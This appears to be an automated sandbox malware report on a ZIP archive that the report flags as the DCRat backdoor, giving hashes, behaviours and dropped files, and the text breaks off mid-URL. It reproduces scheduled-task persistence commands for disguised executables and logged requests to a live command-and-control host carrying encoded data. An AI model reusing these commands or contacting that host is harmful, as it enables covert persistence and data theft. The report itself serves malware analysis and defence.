File name:

BustaGuess.zip

Full analysis: https://app.any.run/tasks/cce728a7-ed2d-430e-aece-bb6e63372469
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: March 24, 2022, 07:18:56
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
rat
backdoor
dcrat
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

E6E2ECC3AFC2154E190483793E161556

SHA1:

20FFF3BE33BE155A5E36F5339E8F5523630674C9

SHA256:

54090DC19A8647EA05E020D722AC2D40A6481E7C4ACF07ED7B3EAD70A91A776D

SSDEEP:

98304:WGSN2NknwfciGDNcHmY9IkvxqNHleBj5F20PaDKrlCDEWWAE2+6Z:WRIGwEiGDyGY9pxxjZZWWAEc

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • BustaGuess.exe (PID: 1928)
      • WinRAR.exe (PID: 2068)
      • fontPerfsvcwinsession.exe (PID: 2208)
      • csrss.exe (PID: 1192)

    • Drops executable file immediately after starts

      • BustaGuess.exe (PID: 1928)
      • WinRAR.exe (PID: 2068)

    • Loads dropped or rewritten executable

      • SearchProtocolHost.exe (PID: 3272)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 3236)
      • schtasks.exe (PID: 3360)
      • schtasks.exe (PID: 1764)
      • schtasks.exe (PID: 1848)
      • schtasks.exe (PID: 2604)
      • schtasks.exe (PID: 3564)
      • schtasks.exe (PID: 2236)
      • schtasks.exe (PID: 2380)
      • schtasks.exe (PID: 1000)
      • schtasks.exe (PID: 3904)
      • schtasks.exe (PID: 3028)
      • schtasks.exe (PID: 2032)
      • schtasks.exe (PID: 1540)
      • schtasks.exe (PID: 2856)
      • schtasks.exe (PID: 1036)
      • schtasks.exe (PID: 3324)
      • schtasks.exe (PID: 1768)
      • schtasks.exe (PID: 892)
      • schtasks.exe (PID: 1992)
      • schtasks.exe (PID: 3584)
      • schtasks.exe (PID: 2060)

    • Changes the autorun value in the registry

      • fontPerfsvcwinsession.exe (PID: 2208)

    • Changes the login/logoff helper path in the registry

      • fontPerfsvcwinsession.exe (PID: 2208)

    • Connects to CnC server

      • csrss.exe (PID: 1192)

    • Task Manager has been disabled (taskmgr)

      • reg.exe (PID: 2468)

    • DCRAT was detected

      • csrss.exe (PID: 1192)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 3452)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 2176)
      • WinRAR.exe (PID: 2068)
      • BustaGuess.exe (PID: 1928)
      • fontPerfsvcwinsession.exe (PID: 2208)

    • Reads the computer name

      • WinRAR.exe (PID: 2176)
      • BustaGuess.exe (PID: 1928)
      • WScript.exe (PID: 340)
      • WinRAR.exe (PID: 2068)
      • fontPerfsvcwinsession.exe (PID: 2208)
      • csrss.exe (PID: 1192)

    • Checks supported languages

      • WinRAR.exe (PID: 2176)
      • WScript.exe (PID: 340)
      • WinRAR.exe (PID: 2068)
      • BustaGuess.exe (PID: 1928)
      • fontPerfsvcwinsession.exe (PID: 2208)
      • cmd.exe (PID: 2072)
      • csrss.exe (PID: 1192)
      • cmd.exe (PID: 3452)

    • Drops a file with too old compile date

      • WinRAR.exe (PID: 2176)

    • Reads default file associations for system extensions

      • SearchProtocolHost.exe (PID: 3272)

    • Drops a file that was compiled in debug mode

      • WinRAR.exe (PID: 2176)
      • BustaGuess.exe (PID: 1928)

    • Executes scripts

      • WinRAR.exe (PID: 2068)

    • Drops a file with a compile date too recent

      • BustaGuess.exe (PID: 1928)
      • WinRAR.exe (PID: 2068)
      • fontPerfsvcwinsession.exe (PID: 2208)

    • Creates files in the user directory

      • BustaGuess.exe (PID: 1928)

    • Reads Environment values

      • fontPerfsvcwinsession.exe (PID: 2208)
      • csrss.exe (PID: 1192)

    • Creates files in the program directory

      • fontPerfsvcwinsession.exe (PID: 2208)

    • Executed via WMI

      • schtasks.exe (PID: 3236)
      • schtasks.exe (PID: 3360)
      • schtasks.exe (PID: 1764)
      • schtasks.exe (PID: 1848)
      • schtasks.exe (PID: 3028)
      • schtasks.exe (PID: 2604)
      • schtasks.exe (PID: 3564)
      • schtasks.exe (PID: 2380)
      • schtasks.exe (PID: 3904)
      • schtasks.exe (PID: 2032)
      • schtasks.exe (PID: 2236)
      • schtasks.exe (PID: 1000)
      • schtasks.exe (PID: 1036)
      • schtasks.exe (PID: 1540)
      • schtasks.exe (PID: 2856)
      • schtasks.exe (PID: 3324)
      • schtasks.exe (PID: 1992)
      • schtasks.exe (PID: 892)
      • schtasks.exe (PID: 1768)
      • schtasks.exe (PID: 3584)

    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 340)

    • Starts itself from another location

      • fontPerfsvcwinsession.exe (PID: 2208)

    • Uses REG.EXE to modify Windows registry

      • cmd.exe (PID: 2072)

  • INFO

    • Checks Windows Trust Settings

      • WScript.exe (PID: 340)

    • Manual execution by user

      • BustaGuess.exe (PID: 1928)
      • cmd.exe (PID: 3452)

    • Checks supported languages

      • schtasks.exe (PID: 3236)
      • schtasks.exe (PID: 3360)
      • schtasks.exe (PID: 1764)
      • schtasks.exe (PID: 1848)
      • schtasks.exe (PID: 3564)
      • schtasks.exe (PID: 2604)
      • schtasks.exe (PID: 2236)
      • schtasks.exe (PID: 2380)
      • schtasks.exe (PID: 3904)
      • schtasks.exe (PID: 1000)
      • schtasks.exe (PID: 3028)
      • schtasks.exe (PID: 2032)
      • schtasks.exe (PID: 1540)
      • schtasks.exe (PID: 2856)
      • schtasks.exe (PID: 1036)
      • schtasks.exe (PID: 3324)
      • schtasks.exe (PID: 892)
      • schtasks.exe (PID: 1992)
      • schtasks.exe (PID: 1768)
      • schtasks.exe (PID: 3584)
      • reg.exe (PID: 2468)
      • schtasks.exe (PID: 2060)

    • Reads the computer name

      • schtasks.exe (PID: 3236)
      • schtasks.exe (PID: 3360)
      • schtasks.exe (PID: 1764)
      • schtasks.exe (PID: 1848)
      • schtasks.exe (PID: 2604)
      • schtasks.exe (PID: 3564)
      • schtasks.exe (PID: 2236)
      • schtasks.exe (PID: 2380)
      • schtasks.exe (PID: 3904)
      • schtasks.exe (PID: 3028)
      • schtasks.exe (PID: 2032)
      • schtasks.exe (PID: 1540)
      • schtasks.exe (PID: 1000)
      • schtasks.exe (PID: 2856)
      • schtasks.exe (PID: 1036)
      • schtasks.exe (PID: 3324)
      • schtasks.exe (PID: 1992)
      • schtasks.exe (PID: 892)
      • schtasks.exe (PID: 1768)
      • schtasks.exe (PID: 3584)
      • schtasks.exe (PID: 2060)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: BustaGuess/
ZipUncompressedSize: -
ZipCompressedSize: -
ZipCRC: 0x00000000
ZipModifyDate: 2022:03:17 17:20:18
ZipCompression: None
ZipBitFlag: -
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
69
Monitored processes
31
Malicious processes
5
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start drop and start winrar.exe searchprotocolhost.exe no specs bustaguess.exe winrar.exe wscript.exe no specs cmd.exe no specs fontperfsvcwinsession.exe schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs #DCRAT csrss.exe reg.exe no specs cmd.exe no specs schtasks.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
340"C:\Windows\System32\WScript.exe" "C:\fontPerfsvc\1aJA9816J1I8ExA2.vbe" C:\Windows\System32\WScript.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft � Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\msvcrt.dll
892schtasks.exe /create /tn "7JpIcsrss" /sc ONSTART /tr "'C:\MSOCache\All Users\{90140000-0100-040C-0000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shlwapi.dll
1000schtasks.exe /create /tn "ov6Cwininit" /sc ONSTART /tr "'C:\Program Files\Adobe\Acrobat Reader DC\Esl\wininit.exe'" /rl HIGHEST /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1036schtasks.exe /create /tn "y9weIdle" /sc ONSTART /tr "'C:\MSOCache\All Users\{90140000-0016-0412-0000-0000000FF1CE}-C\Idle.exe'" /rl HIGHEST /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\schtasks.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\ole32.dll
1192"C:\MSOCache\All Users\{90140000-0100-040C-0000-0000000FF1CE}-C\csrss.exe" C:\MSOCache\All Users\{90140000-0100-040C-0000-0000000FF1CE}-C\csrss.exe
fontPerfsvcwinsession.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Version:
2020.4.11.16511847
Modules
Images
c:\windows\system32\ntdll.dll
c:\msocache\all users\{90140000-0100-040c-0000-0000000ff1ce}-c\csrss.exe
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shlwapi.dll
1540schtasks.exe /create /tn "WAR1Idle" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\{90140000-0016-0412-0000-0000000FF1CE}-C\Idle.exe'" /rl HIGHEST /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\schtasks.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1764schtasks.exe /create /tn "9BljIMEDICTUPDATE" /sc ONSTART /tr "'C:\Program Files\VideoLAN\IMEDICTUPDATE.exe'" /rl HIGHEST /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\lpk.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\rpcrt4.dll
1768schtasks.exe /create /tn "yw6wcsrss" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0100-040C-0000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\ole32.dll
c:\windows\system32\usp10.dll
1848schtasks.exe /create /tn "IMEDICTUPDATE" /sc MINUTE /mo 8 /tr "'C:\Program Files\VideoLAN\IMEDICTUPDATE.exe'" /fC:\Windows\system32\schtasks.exe—wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\oleaut32.dll
1928"C:\Users\admin\Desktop\BustaGuess\BustaGuess.exe" C:\Users\admin\Desktop\BustaGuess\BustaGuess.exe
Explorer.EXE
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\desktop\bustaguess\bustaguess.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
Total events
3 784
Read events
3 706
Write events
78
Delete events
0

Modification events

(PID) Process:(2176) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(2176) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(2176) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\16C\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2176) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\virtio_ivshmem_master_build.zip
(PID) Process:(2176) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(2176) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\BustaGuess.zip
(PID) Process:(2176) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(2176) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(2176) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(2176) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
Executable files
28
Suspicious files
1
Text files
13
Unknown types
2

Dropped files

PID
Process
Filename
Type
2176WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2176.620\BustaGuess\BustaGuess.exeexecutable
MD5:B4FD51350A4AF9FB273ADC47106A579D
SHA256:1465B7FFE8761EE7DB2F6482061F44852145C5D3C05894F40EF1565FB8B40C84
2176WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2176.620\BustaGuess\borlndmm.dllexecutable
MD5:E3FCF256B4683AB92703842985B5E725
SHA256:CA1F509D6779BC005F332027D50E9BAFA952BCF970953593A9566973B4122759
2176WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2176.620\BustaGuess\dbghelp.dllexecutable
MD5:74EDBB03DE3291FCF2094AF1FB363F1D
SHA256:DCA9F45EFED8EAB442B491AEBDA3E3CCE7F5F9FC5DE527D2DBDFD85A5BE85DFA
2176WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2176.620\BustaGuess\dll\DLL_AnalyzeGesturesInRight.dllexecutable
MD5:03890A9FAA8613F47EF0A1932F1A875D
SHA256:52D5E0A454325462C724038311462BB499096B037560B657B8C02870B929473C
2176WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2176.620\BustaGuess\dll\DLL_MouseEventHook.dllexecutable
MD5:CE1FA57E863CCDC8CFE9AE58E51198DF
SHA256:B998518FE80B73D140D12E09A8BCC25E4C9E40E6623C6B86006693169B590A63
2176WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2176.620\BustaGuess\dll\DLL_ScrollbarControl.dllexecutable
MD5:16AB9BDACDD35134895B8681D25089C0
SHA256:B751E0A0C31F31847948003C094D2F0C6024501048CE87F2C2E9274E1A5CC0FC
2176WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2176.620\BustaGuess\dll\DLL_PenSuit.dllexecutable
MD5:1F7FFEA4DD13500622F1C2F8FCD6D173
SHA256:20925E5FC22342EEFD2EC58B81953117BA26E7FC0E076B87BCBF7C80DFB4A52A
2176WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2176.620\BustaGuess\ini\Internet.initext
MD5:7437BDDFBE70961D51BDE12118A5F6B3
SHA256:AC07E523EA950FCD5DFB942B8C7F1A6FC7CD41E2C5CFE31D8AB351B53FA550FF
2176WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2176.620\BustaGuess\ini\Custom.initext
MD5:7950F22EF1D2EFCF819E58DC16B3F4AD
SHA256:808F089951E81B1F2417A61ECE43AF05F33BCBC31A873420C7BC8FFF63DC638F
2176WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2176.620\BustaGuess\dll\Wheel4D.xmltext
MD5:F760A86C389BF7F89486E41474F40961
SHA256:045491DFDD08A41A6643685CB6F230DC6FAB6A7E66E7FC3460D77B02F6F42AFD
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
43
TCP/UDP connections
42
DNS requests
1
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1192
csrss.exe
GET
200
141.8.192.169:80
http://a0646788.xsph.ru/providerjavascriptCpuUpdatewindows.php?g0ixSEnZyRMoQjmWcPWW1=sl9xK3bY&UdhQ=vaPZ4NL0AYFdtupjz&xUI6xe3u8aN1LtTG=C97bnA1lkrrKqsef9t6&1f48164693033c8f0acf1f463e13cfc6=wN0AjN5EmYkhDZzIGN5QmNxM2MjRTZmdzMkhjYhZmZlVmM4UWO1ADN2MTM3QTM0kDNxQjNzgTO&dc8ff4a64801661ad57705042575a3b4=gMyUGO4EmN3cTM2U2NyADMjBDZwMzN4cjN2QWYxUDZkNmZmJmZxEjY&b3d81afe923d544d0e3a6180e6ff2f36=0VfiIiOiYzM4EmNwAzNwATZ4gDMiNWYiZTNlJmMyATZxUGZjNGNiwiI2EzMwImNhZmZwIGMwQTY4QDMyYDZ1MmNhdDZ0czY3EzM0UDNxATZ3IiOiQzNiJTYlVGMhJmYjVzN0gDOhVjZ1UjZkFDM3AzYzcTNiwiI1E2YyMTMiVGNkNmZjhjZkNTN3EWN2MmYxQGMhFGNmhjYjBjZlhTOkJiOiUWMjFTY5U2YwQWO0YTMwYGZ4IDZyETN4ETYxMTMmJjYis3W
RU
—
—
malicious
1192
csrss.exe
GET
—
141.8.192.169:80
http://a0646788.xsph.ru/providerjavascriptCpuUpdatewindows.php?g0ixSEnZyRMoQjmWcPWW1=sl9xK3bY&UdhQ=vaPZ4NL0AYFdtupjz&xUI6xe3u8aN1LtTG=C97bnA1lkrrKqsef9t6&1f48164693033c8f0acf1f463e13cfc6=wN0AjN5EmYkhDZzIGN5QmNxM2MjRTZmdzMkhjYhZmZlVmM4UWO1ADN2MTM3QTM0kDNxQjNzgTO&dc8ff4a64801661ad57705042575a3b4=gMyUGO4EmN3cTM2U2NyADMjBDZwMzN4cjN2QWYxUDZkNmZmJmZxEjY&b3d81afe923d544d0e3a6180e6ff2f36=0VfiIiOiYzM4EmNwAzNwATZ4gDMiNWYiZTNlJmMyATZxUGZjNGNiwiIjRmYzATY4UTNmdTO1UTN0MzYkNjZmBjY4AjMklzMiN2Y3YzN3YWZhJiOiQzNiJTYlVGMhJmYjVzN0gDOhVjZ1UjZkFDM3AzYzcTNiwiI1E2YyMTMiVGNkNmZjhjZkNTN3EWN2MmYxQGMhFGNmhjYjBjZlhTOkJiOiUWMjFTY5U2YwQWO0YTMwYGZ4IDZyETN4ETYxMTMmJjYis3W
RU
—
—
malicious
1192
csrss.exe
GET
—
141.8.192.169:80
http://a0646788.xsph.ru/providerjavascriptCpuUpdatewindows.php?g0ixSEnZyRMoQjmWcPWW1=sl9xK3bY&UdhQ=vaPZ4NL0AYFdtupjz&xUI6xe3u8aN1LtTG=C97bnA1lkrrKqsef9t6&1f48164693033c8f0acf1f463e13cfc6=wN0AjN5EmYkhDZzIGN5QmNxM2MjRTZmdzMkhjYhZmZlVmM4UWO1ADN2MTM3QTM0kDNxQjNzgTO&dc8ff4a64801661ad57705042575a3b4=gMyUGO4EmN3cTM2U2NyADMjBDZwMzN4cjN2QWYxUDZkNmZmJmZxEjY&522043270ed0d2a02852be00c8e2ebe3=d1nI1ADMyQmMlhzNjFjZxIGZihTZiJ2MyIWOlZ2MzQTMyM2YxQGM4UjZiJiOiQzNiJTYlVGMhJmYjVzN0gDOhVjZ1UjZkFDM3AzYzcTNiwiI1E2YyMTMiVGNkNmZjhjZkNTN3EWN2MmYxQGMhFGNmhjYjBjZlhTOkJiOiUWMjFTY5U2YwQWO0YTMwYGZ4IDZyETN4ETYxMTMmJjYis3W&b3d81afe923d544d0e3a6180e6ff2f36=d1nIiojI2MDOhZDMwcDMwUGO4AjYjFmY2UTZiJjMwUWMlR2YjRjIsISNwAjMkJTZ4czYxYWMiRmY4UmYiNjMilTZmNzM0EjMjNWMkBDO1YmYiojI0cjYyEWZlBTYiJ2Y1cDN4gTY1YWN1YGZxAzNwM2M3UjIsISNhNmMzEjYlRDZjZ2Y4YGZzUzNhVjNjJWMkBTYhRjZ4I2YwYWZ4kDZiojIlFzYxEWOlNGMklDN2EDMmRGOyQmMxUDOxEWMzEjZyImI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlWQqlkNJlWWwkleZNTRtlFbWdkW3F1Va1mRX1kaoRkTykVbORTRtlFaKpWTrxmaNlXSX50MFd0T4VVbZl2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplkeOhlWxQWVZBjTYR2QKl2TpN2MitWNXFGWSFTUCp0QMlGNrlkNJNlYo5UbZxGZxMGcKNETptGbJZTSTpVd5cUY3lTbjpGbXRles1WSzl0ULNTWE1EMJR0Sn9GSThkQ65UdJRUSBJ0UWFlTFl0dBRkTyAzUOBnQTtkTSZ0Ssp0MiRkQTt0UoNkYsJlbipkSp9UaVdlYoVTVWFlTrl0cJl2YsJFSjhmUXF1ZNNTWwh2RjhmSzI1ZFBjUXJ0QalnRHpVdGdEZUpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQp1keBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa0IjYrVjMi1UOTp1d502YxY1aJZTSTpVd50WZsFzVhBjSDxUaBRUT3FERNdXSp9Ua3dVWw40MidnSDxUawIjYrRWbiBHdFl0aWdEZwVzVWdGMDl0aWdVYtxmMZxmQzM2ZRNjYPpUaPl2YtNmdKNETp1EVPdHND1Ed3NkTyUEVOVXRU5UavpWSqlzRil2dpl0QktWS2k0UllnUuJWM5ITWpdXaJtWNXl1ck1mYGpUaPlGNyIGckdlW5p0QMlGNyI2a1IjYNpUaPl2aIRGcO1WSzlUeNdXSqxkeRpWT1dGVPhHNT5ENFpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETpdmaNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiYzM4EmNwAzNwATZ4gDMiNWYiZTNlJmMyATZxUGZjNGNiwiI4EWYxEzY2IDO5IGNzYTMygTNjhjMxMTOkN2NyY2N0IWZlNzNmdjNyIiOiQzNiJTYlVGMhJmYjVzN0gDOhVjZ1UjZkFDM3AzYzcTNiwiI1E2YyMTMiVGNkNmZjhjZkNTN3EWN2MmYxQGMhFGNmhjYjBjZlhTOkJiOiUWMjFTY5U2YwQWO0YTMwYGZ4IDZyETN4ETYxMTMmJjYis3W
RU
—
—
malicious
1192
csrss.exe
GET
—
141.8.192.169:80
http://a0646788.xsph.ru/providerjavascriptCpuUpdatewindows.php?g0ixSEnZyRMoQjmWcPWW1=sl9xK3bY&UdhQ=vaPZ4NL0AYFdtupjz&xUI6xe3u8aN1LtTG=C97bnA1lkrrKqsef9t6&1f48164693033c8f0acf1f463e13cfc6=wN0AjN5EmYkhDZzIGN5QmNxM2MjRTZmdzMkhjYhZmZlVmM4UWO1ADN2MTM3QTM0kDNxQjNzgTO&dc8ff4a64801661ad57705042575a3b4=gMyUGO4EmN3cTM2U2NyADMjBDZwMzN4cjN2QWYxUDZkNmZmJmZxEjY&522043270ed0d2a02852be00c8e2ebe3=d1nI1ADMyQmMlhzNjFjZxIGZihTZiJ2MyIWOlZ2MzQTMyM2YxQGM4UjZiJiOiQzNiJTYlVGMhJmYjVzN0gDOhVjZ1UjZkFDM3AzYzcTNiwiI1E2YyMTMiVGNkNmZjhjZkNTN3EWN2MmYxQGMhFGNmhjYjBjZlhTOkJiOiUWMjFTY5U2YwQWO0YTMwYGZ4IDZyETN4ETYxMTMmJjYis3W&b3d81afe923d544d0e3a6180e6ff2f36=d1nIiojI2MDOhZDMwcDMwUGO4AjYjFmY2UTZiJjMwUWMlR2YjRjIsISNwAjMkJTZ4czYxYWMiRmY4UmYiNjMilTZmNzM0EjMjNWMkBDO1YmYiojI0cjYyEWZlBTYiJ2Y1cDN4gTY1YWN1YGZxAzNwM2M3UjIsISNhNmMzEjYlRDZjZ2Y4YGZzUzNhVjNjJWMkBTYhRjZ4I2YwYWZ4kDZiojIlFzYxEWOlNGMklDN2EDMmRGOyQmMxUDOxEWMzEjZyImI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlWQqlkNJlWWwkleZNTRtlFbWdkW3F1Va1mRX1kaoRkTykVbORTRtlFaKpWTrxmaNlXSX50MFd0T4VVbZl2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplkeOhlWxQWVZBjTYR2QKl2TpN2MitWNXFGWSFTUCp0QMlGNrlkNJNlYo5UbZxGZxMGcKNETptGbJZTSTpVd5cUY3lTbjpGbXRles1WSzl0ULNTWE1EMJR0S